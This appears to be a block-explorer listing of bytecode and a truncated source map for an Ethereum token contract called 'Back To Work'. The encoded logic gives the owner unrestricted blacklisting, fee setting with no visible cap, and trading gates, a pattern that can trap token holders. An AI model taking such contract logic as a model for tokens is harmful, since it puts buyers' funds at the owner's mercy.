5b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461095457600080fd5b80356119dd816119bd565b919050565b600080604083850312156119f557600080fd5b8235611a00816119bd565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a3757600080fd5b823567ffffffffffffffff80821115611a4f57600080fd5b818501915085601f830112611a6357600080fd5b813581811115611a7557611a75611a0e565b8060051b604051601f19603f83011681018181108582111715611a9a57611a9a611a0e565b604052918252848201925083810185019188831115611ab857600080fd5b938501935b82851015611add57611ace856119d2565b84529385019392850192611abd565b98975050505050505050565b600080600060608486031215611afe57600080fd5b8335611b09816119bd565b92506020840135611b19816119bd565b929592945050506040919091013590565b60008060008060808587031215611b4057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215611b6e57600080fd5b8135611337816119bd565b600060208284031215611b8b57600080fd5b5035919050565b803580151581146119dd57600080fd5b600080600060408486031215611bb757600080fd5b833567ffffffffffffffff80821115611bcf57600080fd5b818601915086601f830112611be357600080fd5b813581811115611bf257600080fd5b8760208260051b8501011115611c0757600080fd5b602092830195509350611c1d9186019050611b92565b90509250925092565b600060208284031215611c3857600080fd5b61133782611b92565b60008060408385031215611c5457600080fd5b8235611c5f816119bd565b91506020830135611c6f816119bd565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ced57611ced611cc5565b5060010190565b600060208284031215611d0657600080fd5b8151611337816119bd565b808201808211156105b8576105b8611cc5565b818103818111156105b8576105b8611cc5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d875784516001600160a01b031683529383019391830191600101611d62565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611dc557634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176105b8576105b8611cc556fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b2b4c7bec95d5f7940fc1f6f344d7683094614d6b3693599d28318f76282f8a64736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101bb5760003560e01c80637d1db4a5116100ec578063bfd792841161008a578063d2a09c7111610064578063d2a09c7114610501578063dd62ed3e14610521578063e21de9e314610567578063ea1644d51461058757600080fd5b8063bfd792841461049c578063c1186b8f146104cc578063c3c8cd80146104ec57600080fd5b80638f9a55c0116100c65780638f9a55c01461041157806395d89b411461042757806398a5c3151461045c578063a9059cbb1461047c57600080fd5b80637d1db4a5146103b05780637f2feddc146103c65780638da5cb5b146103f357600080fd5b8063313ce5671161015957806359a945e91161013357806359a945e9146103465780636fc3eaec1461035b57806370a082311461037057806374010ece1461039057600080fd5b8063313ce567146102ea57806340eed21d1461030657806349bd5a5e1461032657600080fd5b80631694505e116101955780631694505e1461025857806318160ddd1461029057806323b872dd146102b45780632fd689e3146102d457600080fd5b806306fdde03146101c7578063095ea7b3146102065780630eca11801461023657600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260048152634241434b60e01b60208201525b6040516101fd919061196f565b60405180910390f35b34801561021257600080fd5b506102266102213660046119e2565b6105a7565b60405190151581526020016101fd565b34801561024257600080fd5b50610256610251366004611a24565b6105be565b005b34801561026457600080fd5b50601454610278906001600160a01b031681565b6040516001600160a01b0390911681526020016101fd565b34801561029c57600080fd5b5066038d7ea4c680005b6040519081526020016101fd565b3480156102c057600080fd5b506102266102cf366004611ae9565b61065d565b3480156102e057600080fd5b506102a660185481565b3480156102f657600080fd5b50604051600981526020016101fd565b34801561031257600080fd5b50610256610321366004611b2a565b6106c6565b34801561033257600080fd5b50601554610278906001600160a01b031681565b34801561035257600080fd5b50610256610704565b34801561036757600080fd5b5061025661090c565b34801561037c57600080fd5b506102a661038b366004611b5c565b610957565b34801561039c57600080fd5b506102566103ab366004611b79565b610979565b3480156103bc57600080fd5b506102a660165481565b3480156103d257600080fd5b506102a66103e1366004611b5c565b60116020526000908152604090205481565b3480156103ff57600080fd5b506000546001600160a01b0316610278565b34801561041d57600080fd5b506102a660175481565b34801561043357600080fd5b5060408051808201909152600c81526b4261636b20546f20576f726b60a01b60208201526101f0565b34801561046857600080fd5b50610256610477366004611b79565b6109a8565b34801561048857600080fd5b506102266104973660046119e2565b6109d7565b3480156104a857600080fd5b506102266104b7366004611b5c565b60106020526000908152604090205460ff1681565b3480156104d857600080fd5b506102566104e7366004611ba2565b6109e4565b3480156104f857600080fd5b50610256610a85565b34801561050d57600080fd5b5061025661051c366004611c26565b610ad9565b34801561052d57600080fd5b506102a661053c366004611c41565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057357600080fd5b50610256610582366004611b5c565b610b21565b34801561059357600080fd5b506102566105a2366004611b79565b610b6c565b60006105b4338484610b9b565b5060015b92915050565b6000546001600160a01b031633146105f15760405162461bcd60e51b81526004016105e890611c7a565b60405180910390fd5b60005b81518110156106595760016010600084848151811061061557610615611caf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065181611cdb565b9150506105f4565b5050565b600061066a848484610cbf565b6106bc84336106b785604051806060016040528060288152602001611de2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611246565b610b9b565b5060019392505050565b6000546001600160a01b031633146106f05760405162461bcd60e51b81526004016105e890611c7a565b600893909355600a91909155600955600b55565b6000546001600160a01b0316331461072e5760405162461bcd60e51b81526004016105e890611c7a565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b79190611cf4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610804573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108289190611cf4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610875573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108999190611cf4565b601580546001600160a01b0319166001600160a01b03928316179055600080548216815260056020526040808220805460ff199081166001908117909255308452828420805482168317905560125485168452828420805482168317905560135490941683529120805490921617905550565b6012546001600160a01b0316336001600160a01b0316148061094157506013546001600160a01b0316336001600160a01b0316145b61094a57600080fd5b4761095481611280565b50565b6001600160a01b0381166000908152600260205260408120546105b8906112ba565b6000546001600160a01b031633146109a35760405162461bcd60e51b81526004016105e890611c7a565b601655565b6000546001600160a01b031633146109d25760405162461bcd60e51b81526004016105e890611c7a565b601855565b60006105b4338484610cbf565b6000546001600160a01b03163314610a0e5760405162461bcd60e51b81526004016105e890611c7a565b60005b82811015610a7f578160056000868685818110610a3057610a30611caf565b9050602002016020810190610a459190611b5c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7781611cdb565b915050610a11565b50505050565b6012546001600160a01b0316336001600160a01b03161480610aba57506013546001600160a01b0316336001600160a01b0316145b610ac357600080fd5b6000610ace30610957565b90506109548161133e565b6000546001600160a01b03163314610b035760405162461bcd60e51b81526004016105e890611c7a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610b4b5760405162461bcd60e51b81526004016105e890611c7a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b03163314610b965760405162461bcd60e51b81526004016105e890611c7a565b601755565b6001600160a01b038316610bfd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e8565b6001600160a01b038216610c5e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e8565b6001600160a01b038216610d855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e8565b60008111610de75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e8565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2957506001600160a01b03821660009081526010602052604090205460ff16155b610e3257600080fd5b6000546001600160a01b03848116911614801590610e5e57506000546001600160a01b03838116911614155b1561113f57601554600160a01b900460ff16610ef7576000546001600160a01b03848116911614610ef75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e8565b601654811115610f495760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e8565b6001600160a01b03831660009081526010602052604090205460ff16158015610f8b57506001600160a01b03821660009081526010602052604090205460ff16155b610fe35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e8565b6015546001600160a01b03838116911614611068576017548161100584610957565b61100f9190611d11565b106110685760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e8565b600061107330610957565b60185460165491925082101590821061108c5760165491505b8080156110a35750601554600160a81b900460ff16155b80156110bd57506015546001600160a01b03868116911614155b80156110d25750601554600160b01b900460ff165b80156110f757506001600160a01b03851660009081526005602052604090205460ff16155b801561111c57506001600160a01b03841660009081526005602052604090205460ff16155b1561113c5761112a8261133e565b47801561113a5761113a47611280565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061118157506001600160a01b03831660009081526005602052604090205460ff165b806111b357506015546001600160a01b038581169116148015906111b357506015546001600160a01b03848116911614155b156111c05750600061123a565b6015546001600160a01b0385811691161480156111eb57506014546001600160a01b03848116911614155b156111fd57600854600c55600954600d555b6015546001600160a01b03848116911614801561122857506014546001600160a01b03858116911614155b1561123a57600a54600c55600b54600d555b610a7f848484846114b8565b6000818484111561126a5760405162461bcd60e51b81526004016105e8919061196f565b5060006112778486611d24565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610659573d6000803e3d6000fd5b60006006548211156113215760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e8565b600061132b6114e6565b90506113378382611509565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061138657611386611caf565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114039190611cf4565b8160018151811061141657611416611caf565b6001600160a01b03928316602091820292909201015260145461143c9130911684610b9b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611475908590600090869030904290600401611d37565b600060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c5576114c561154b565b6114d0848484611579565b80610a7f57610a7f600e54600c55600f54600d55565b60008060006114f3611670565b90925090506115028282611509565b9250505090565b600061133783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ae565b600c5415801561155b5750600d54155b1561156257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158b876116dc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bd9087611739565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ec908661177b565b6001600160a01b03891660009081526002602052604090205561160e816117da565b6116188483611824565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165d91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061168a8282611509565b8210156116a55750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116cf5760405162461bcd60e51b81526004016105e8919061196f565b5060006112778486611da8565b60008060008060008060008060006116f98a600c54600d54611848565b92509250925060006117096114e6565b9050600080600061171c8e87878761189d565b919e509c509a509598509396509194505050505091939550919395565b600061133783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611246565b6000806117888385611d11565b9050838110156113375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e8565b60006117e46114e6565b905060006117f283836118ed565b3060009081526002602052604090205490915061180f908261177b565b30600090815260026020526040902055505050565b6006546118319083611739565b600655600754611841908261177b565b6007555050565b6000808080611862606461185c89896118ed565b90611509565b90506000611875606461185c8a896118ed565b9050600061188d826118878b86611739565b90611739565b9992985090965090945050505050565b60008080806118ac88866118ed565b905060006118ba88876118ed565b905060006118c888886118ed565b905060006118da826118878686611739565b939b939a50919850919650505050505050565b6000826000036118ff575060006105b8565b600061190b8385611dca565b9050826119188583611da8565b146113375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e8565b600060208083528351808285015260005b8181101561199c57858101830151858201604001528201611980565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461095457600080fd5b80356119dd816119bd565b919050565b600080604083850312156119f557600080fd5b8235611a00816119bd565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a3757600080fd5b823567ffffffffffffffff80821115611a4f57600080fd5b818501915085601f830112611a6357600080fd5b813581811115611a7557611a75611a0e565b8060051b604051601f19603f83011681018181108582111715611a9a57611a9a611a0e565b604052918252848201925083810185019188831115611ab857600080fd5b938501935b82851015611add57611ace856119d2565b84529385019392850192611abd565b98975050505050505050565b600080600060608486031215611afe57600080fd5b8335611b09816119bd565b92506020840135611b19816119bd565b929592945050506040919091013590565b60008060008060808587031215611b4057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215611b6e57600080fd5b8135611337816119bd565b600060208284031215611b8b57600080fd5b5035919050565b803580151581146119dd57600080fd5b600080600060408486031215611bb757600080fd5b833567ffffffffffffffff80821115611bcf57600080fd5b818601915086601f830112611be357600080fd5b813581811115611bf257600080fd5b8760208260051b8501011115611c0757600080fd5b602092830195509350611c1d9186019050611b92565b90509250925092565b600060208284031215611c3857600080fd5b61133782611b92565b60008060408385031215611c5457600080fd5b8235611c5f816119bd565b91506020830135611c6f816119bd565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ced57611ced611cc5565b5060010190565b600060208284031215611d0657600080fd5b8151611337816119bd565b808201808211156105b8576105b8611cc5565b818103818111156105b8576105b8611cc5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d875784516001600160a01b031683529383019391830191600101611d62565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611dc557634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176105b8576105b8611cc556fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b2b4c7bec95d5f7940fc1f6f344d7683094614d6b3693599d28318f76282f8a64736f6c63430008110033
Deployed Bytecode Sourcemap
4335:13497:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6330:83;;;;;;;;;;-1:-1:-1;6400:5:0;;;;;;;;;;;;-1:-1:-1;;;6400:5:0;;;;6330:83;;;;;;;:::i;:::-;;;;;;;;7255:193;;;;;;;;;;-1:-1:-1;7255:193:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7255:193:0;1162:187:1;12995:166:0;;;;;;;;;;-1:-1:-1;12995:166:0;;;;;:::i;:::-;;:::i;:::-;;5686:41;;;;;;;;;;-1:-1:-1;5686:41:0;;;;-1:-1:-1;;;;;5686:41:0;;;;;;-1:-1:-1;;;;;2802:32:1;;;2784:51;;2772:2;2757:18;5686:41:0;2612:229:1;6607:95:0;;;;;;;;;;-1:-1:-1;4888:15:0;6607:95;;;2992:25:1;;;2980:2;2965:18;6607:95:0;2846:177:1;7456:446:0;;;;;;;;;;-1:-1:-1;7456:446:0;;;;;:::i;:::-;;:::i;5988:49::-;;;;;;;;;;;;;;;;6516:83;;;;;;;;;;-1:-1:-1;6516:83:0;;4562:1;3631:36:1;;3619:2;3604:18;6516:83:0;3489:184:1;16674:317:0;;;;;;;;;;-1:-1:-1;16674:317:0;;;;;:::i;:::-;;:::i;5734:28::-;;;;;;;;;;-1:-1:-1;5734:28:0;;;;-1:-1:-1;;;;;5734:28:0;;;11943:557;;;;;;;;;;;;;:::i;12752:235::-;;;;;;;;;;;;;:::i;6710:138::-;;;;;;;;;;-1:-1:-1;6710:138:0;;;;;:::i;:::-;;:::i;17374:108::-;;;;;;;;;;-1:-1:-1;17374:108:0;;;;;:::i;:::-;;:::i;5883:44::-;;;;;;;;;;;;;;;;5428:43;;;;;;;;;;-1:-1:-1;5428:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;2016:79;;;;;;;;;;-1:-1:-1;2054:7:0;2081:6;-1:-1:-1;;;;;2081:6:0;2016:79;;5934:47;;;;;;;;;;;;;;;;6421:87;;;;;;;;;;-1:-1:-1;6493:7:0;;;;;;;;;;;;-1:-1:-1;;;6493:7:0;;;;6421:87;;17043:139;;;;;;;;;;-1:-1:-1;17043:139:0;;;;;:::i;:::-;;:::i;6856:199::-;;;;;;;;;;-1:-1:-1;6856:199:0;;;;;:::i;:::-;;:::i;5390:36::-;;;;;;;;;;-1:-1:-1;5390:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17613:214;;;;;;;;;;-1:-1:-1;17613:214:0;;;;;:::i;:::-;;:::i;12508:236::-;;;;;;;;;;;;;:::i;17234:101::-;;;;;;;;;;-1:-1:-1;17234:101:0;;;;;:::i;:::-;;:::i;7063:184::-;;;;;;;;;;-1:-1:-1;7063:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7212:18:0;;;7180:7;7212:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7063:184;13169:87;;;;;;;;;;-1:-1:-1;13169:87:0;;;;;:::i;:::-;;:::i;17490:115::-;;;;;;;;;;-1:-1:-1;17490:115:0;;;;;:::i;:::-;;:::i;7255:193::-;7357:4;7379:39;855:10;7402:7;7411:6;7379:8;:39::i;:::-;-1:-1:-1;7436:4:0;7255:193;;;;;:::o;12995:166::-;2143:6;;-1:-1:-1;;;;;2143:6:0;855:10;2143:22;2135:67;;;;-1:-1:-1;;;2135:67:0;;;;;;;:::i;:::-;;;;;;;;;13068:9:::1;13063:91;13087:5;:12;13083:1;:16;13063:91;;;13138:4;13121;:14;13126:5;13132:1;13126:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13121:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13121:14:0;:21;;-1:-1:-1;;13121:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13101:3;::::1;::::0;::::1;:::i;:::-;;;;13063:91;;;;12995:166:::0;:::o;7456:446::-;7588:4;7605:36;7615:6;7623:9;7634:6;7605:9;:36::i;:::-;7652:220;7675:6;855:10;7723:138;7779:6;7723:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7723:19:0;;;;;;:11;:19;;;;;;;;855:10;7723:33;;;;;;;;;;:37;:138::i;:::-;7652:8;:220::i;:::-;-1:-1:-1;7890:4:0;7456:446;;;;;:::o;16674:317::-;2143:6;;-1:-1:-1;;;;;2143:6:0;855:10;2143:22;2135:67;;;;-1:-1:-1;;;2135:67:0;;;;;;;:::i;:::-;16824:16:::1;:34:::0;;;;16869:17:::1;:36:::0;;;;16916:11:::1;:24:::0;16951:15:::1;:32:::0;16674:317::o;11943:557::-;2143:6;;-1:-1:-1;;;;;2143:6:0;855:10;2143:22;2135:67;;;;-1:-1:-1;;;2135:67:0;;;;;;;:::i;:::-;12111:15:::1;:34:::0;;-1:-1:-1;;;;;;12111:34:0::1;12057:42;12111:34:::0;;::::1;::::0;;;12190:26:::1;::::0;;-1:-1:-1;;;12190:26:0;;;;12057:42;;12190:24:::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;12057:42;12190:26:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12172:66:0::1;;12247:4;12254:16;-1:-1:-1::0;;;;;12254:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12172:106;::::0;-1:-1:-1;;;;;;12172:106:0::1;::::0;;;;;;-1:-1:-1;;;;;7401:15:1;;;12172:106:0::1;::::0;::::1;7383:34:1::0;7453:15;;7433:18;;;7426:43;7318:18;;12172:106:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12156:13;:122:::0;;-1:-1:-1;;;;;;12156:122:0::1;-1:-1:-1::0;;;;;12156:122:0;;::::1;;::::0;;-1:-1:-1;2081:6:0;;;;12291:27;;:18:::1;:27;::::0;;;;;:34;;-1:-1:-1;;12291:34:0;;::::1;-1:-1:-1::0;12291:34:0;;::::1;::::0;;;12363:4:::1;12336:33:::0;;;;;:40;;;::::1;::::0;::::1;::::0;;12406:19:::1;::::0;;::::1;12387:39:::0;;;;;:46;;;::::1;::::0;::::1;::::0;;12463:17:::1;::::0;;;::::1;12444:37:::0;;;;:44;;;;::::1;;::::0;;-1:-1:-1;11943:557:0:o;12752:235::-;12818:19;;-1:-1:-1;;;;;12818:19:0;855:10;-1:-1:-1;;;;;12802:35:0;;:72;;;-1:-1:-1;12857:17:0;;-1:-1:-1;;;;;12857:17:0;855:10;-1:-1:-1;;;;;12841:33:0;;12802:72;12794:81;;;;;;12915:21;12947:32;12915:21;12947:12;:32::i;:::-;12783:204;12752:235::o;6710:138::-;-1:-1:-1;;;;;6823:16:0;;6776:7;6823:16;;;:7;:16;;;;;;6803:37;;:19;:37::i;17374:108::-;2143:6;;-1:-1:-1;;;;;2143:6:0;855:10;2143:22;2135:67;;;;-1:-1:-1;;;2135:67:0;;;;;;;:::i;:::-;17448:12:::1;:26:::0;17374:108::o;17043:139::-;2143:6;;-1:-1:-1;;;;;2143:6:0;855:10;2143:22;2135:67;;;;-1:-1:-1;;;2135:67:0;;;;;;;:::i;:::-;17134:19:::1;:40:::0;17043:139::o;6856:199::-;6961:4;6983:42;855:10;7007:9;7018:6;6983:9;:42::i;17613:214::-;2143:6;;-1:-1:-1;;;;;2143:6:0;855:10;2143:22;2135:67;;;;-1:-1:-1;;;2135:67:0;;;;;;;:::i;:::-;17710:9:::1;17706:114;17725:19:::0;;::::1;17706:114;;;17800:8;17766:18;:31;17785:8;;17794:1;17785:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17766:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;17766:31:0;:42;;-1:-1:-1;;17766:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17746:3;::::1;::::0;::::1;:::i;:::-;;;;17706:114;;;;17613:214:::0;;;:::o;12508:236::-;12574:19;;-1:-1:-1;;;;;12574:19:0;855:10;-1:-1:-1;;;;;12558:35:0;;:72;;;-1:-1:-1;12613:17:0;;-1:-1:-1;;;;;12613:17:0;855:10;-1:-1:-1;;;;;12597:33:0;;12558:72;12550:81;;;;;;12642:23;12668:24;12686:4;12668:9;:24::i;:::-;12642:50;;12703:33;12720:15;12703:16;:33::i;17234:101::-;2143:6;;-1:-1:-1;;;;;2143:6:0;855:10;2143:22;2135:67;;;;-1:-1:-1;;;2135:67:0;;;;;;;:::i;:::-;17301:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;17301:26:0::1;-1:-1:-1::0;;;;17301:26:0;;::::1;::::0;;;::::1;::::0;;17234:101::o;13169:87::-;2143:6;;-1:-1:-1;;;;;2143:6:0;855:10;2143:22;2135:67;;;;-1:-1:-1;;;2135:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13228:12:0::1;13243:5;13228:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;13228:20:0::1;::::0;;13169:87::o;17490:115::-;2143:6;;-1:-1:-1;;;;;2143:6:0;855:10;2143:22;2135:67;;;;-1:-1:-1;;;2135:67:0;;;;;;;:::i;:::-;17567:14:::1;:30:::0;17490:115::o;8621:369::-;-1:-1:-1;;;;;8748:19:0;;8740:68;;;;-1:-1:-1;;;8740:68:0;;7682:2:1;8740:68:0;;;7664:21:1;7721:2;7701:18;;;7694:30;7760:34;7740:18;;;7733:62;-1:-1:-1;;;7811:18:1;;;7804:34;7855:19;;8740:68:0;7480:400:1;8740:68:0;-1:-1:-1;;;;;8827:21:0;;8819:68;;;;-1:-1:-1;;;8819:68:0;;8087:2:1;8819:68:0;;;8069:21:1;8126:2;8106:18;;;8099:30;8165:34;8145:18;;;8138:62;-1:-1:-1;;;8216:18:1;;;8209:32;8258:19;;8819:68:0;7885:398:1;8819:68:0;-1:-1:-1;;;;;8898:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8950:32;;2992:25:1;;;8950:32:0;;2965:18:1;8950:32:0;;;;;;;8621:369;;;:::o;8998:2337::-;-1:-1:-1;;;;;9120:18:0;;9112:68;;;;-1:-1:-1;;;9112:68:0;;8490:2:1;9112:68:0;;;8472:21:1;8529:2;8509:18;;;8502:30;8568:34;8548:18;;;8541:62;-1:-1:-1;;;8619:18:1;;;8612:35;8664:19;;9112:68:0;8288:401:1;9112:68:0;-1:-1:-1;;;;;9199:16:0;;9191:64;;;;-1:-1:-1;;;9191:64:0;;8896:2:1;9191:64:0;;;8878:21:1;8935:2;8915:18;;;8908:30;8974:34;8954:18;;;8947:62;-1:-1:-1;;;9025:18:1;;;9018:33;9068:19;;9191:64:0;8694:399:1;9191:64:0;9283:1;9274:6;:10;9266:64;;;;-1:-1:-1;;;9266:64:0;;9300:2:1;9266:64:0;;;9282:21:1;9339:2;9319:18;;;9312:30;9378:34;9358:18;;;9351:62;-1:-1:-1;;;9429:18:1;;;9422:39;9478:19;;9266:64:0;9098:405:1;9266:64:0;-1:-1:-1;;;;;9350:10:0;;;;;;:4;:10;;;;;;;;9349:11;:24;;;;-1:-1:-1;;;;;;9365:8:0;;;;;;:4;:8;;;;;;;;9364:9;9349:24;9341:33;;;;;;2054:7;2081:6;-1:-1:-1;;;;;9391:15:0;;;2081:6;;9391:15;;;;:32;;-1:-1:-1;2054:7:0;2081:6;-1:-1:-1;;;;;9410:13:0;;;2081:6;;9410:13;;9391:32;9387:1259;;;9480:11;;-1:-1:-1;;;9480:11:0;;;;9475:144;;2054:7;2081:6;-1:-1:-1;;;;;9520:15:0;;;2081:6;;9520:15;9512:91;;;;-1:-1:-1;;;9512:91:0;;9710:2:1;9512:91:0;;;9692:21:1;9749:2;9729:18;;;9722:30;9788:34;9768:18;;;9761:62;9859:33;9839:18;;;9832:61;9910:19;;9512:91:0;9508:427:1;9512:91:0;9653:12;;9643:6;:22;;9635:63;;;;-1:-1:-1;;;9635:63:0;;10142:2:1;9635:63:0;;;10124:21:1;10181:2;10161:18;;;10154:30;10220;10200:18;;;10193:58;10268:18;;9635:63:0;9940:352:1;9635:63:0;-1:-1:-1;;;;;9722:10:0;;;;;;:4;:10;;;;;;;;9721:11;:24;;;;-1:-1:-1;;;;;;9737:8:0;;;;;;:4;:8;;;;;;;;9736:9;9721:24;9713:72;;;;-1:-1:-1;;;9713:72:0;;10499:2:1;9713:72:0;;;10481:21:1;10538:2;10518:18;;;10511:30;10577:34;10557:18;;;10550:62;-1:-1:-1;;;10628:18:1;;;10621:33;10671:19;;9713:72:0;10297:399:1;9713:72:0;9811:13;;-1:-1:-1;;;;;9805:19:0;;;9811:13;;9805:19;9802:146;;9878:14;;9869:6;9853:13;9863:2;9853:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9845:87;;;;-1:-1:-1;;;9845:87:0;;11033:2:1;9845:87:0;;;11015:21:1;11072:2;11052:18;;;11045:30;11111:34;11091:18;;;11084:62;-1:-1:-1;;;11162:18:1;;;11155:33;11205:19;;9845:87:0;10831:399:1;9845:87:0;9964:28;9995:24;10013:4;9995:9;:24::i;:::-;10073:19;;10136:12;;9964:55;;-1:-1:-1;10049:43:0;;;;10112:36;;10109:124;;10205:12;;10182:35;;10109:124;10253:7;:18;;;;-1:-1:-1;10265:6:0;;-1:-1:-1;;;10265:6:0;;;;10264:7;10253:18;:43;;;;-1:-1:-1;10283:13:0;;-1:-1:-1;;;;;10275:21:0;;;10283:13;;10275:21;;10253:43;:58;;;;-1:-1:-1;1